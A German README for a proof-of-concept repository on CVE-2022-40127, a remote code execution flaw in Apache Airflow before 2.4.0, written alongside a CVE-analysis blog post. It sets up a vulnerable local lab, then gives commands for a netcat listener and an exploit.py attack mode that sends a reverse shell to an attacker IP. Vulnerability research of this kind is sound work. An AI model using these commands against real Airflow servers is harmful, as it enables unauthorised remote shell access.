
CVE-2022-40127 PoC und Exploit
PoC für CVE-2022-40127, eine RCE-Sicherheitslücke in Apache Airflow, die Versionen vor 2.4.0 betrifft.
Die offizielle Beschreibung des Berichts sagt:
Eine Schwachstelle in den Beispiel-DAGs von Apache Airflow erlaubt es einem Angreifer mit UI-Zugriff, der DAGs auslösen kann, über den manuell bereitgestellten run_id-Parameter beliebige Befehle auszuführen. Dieses Problem betrifft Apache-Airflow-Versionen vor 2.4.0.
Dieses Repository wurde für einen CVE-Analyse-Blogbeitrag erstellt, der auf dem vsociety-Blog verfügbar ist.
https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6
Sie können das Repository klonen:
git clone https://github.com/jakabakos/CVE-2022-40127.git
Laden Sie die docker-compose-Datei aus dem offiziellen Repository herunter:
cd /opt/
mkdir airflow-2.3.4 && cd airflow-2.3.4
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
Airflow ausführen:
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up
open localhost:8080
In diesem Fall sind sowohl der Benutzername als auch das Passwort airflow.
Basierend auf den offiziellen Installationsanweisungen:
pip3.8 install "apache-airflow==2.3.4" --constraint "https://raw.githubusercontent.com/apache/airflow/constraints-2.3.4/constraints-3.7.txt"
Sie können mit den Befehlen which airflow und/oder airflow info überprüfen, ob die Installation erfolgreich war.
Airflow ausführen:
airflow standalone
Sie finden das generierte Passwort und den Benutzernamen in den Logs.
Installieren Sie zuerst die erforderlichen Pakete mit pip:
pip3 install -r requirements.txt
Die möglichen Optionen sehen Sie mit:
python3 exploit.py --help
Sie können prüfen, ob der Host ausgenutzt werden kann oder nicht:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080
Richten Sie in einer anderen Terminalsitzung einen lokalen Listener für die Reverse Shell ein:
nc -lvnp 4242
Führen Sie das Skript mit diesem Befehl im Angriffsmodus aus:
python3 exploit.py -u airflow -p airflow -url http://localhost:8080 -a -host <attacker_ip> -port 4242
Sie sollten die Verbindung innerhalb von etwa einer Minute sehen.
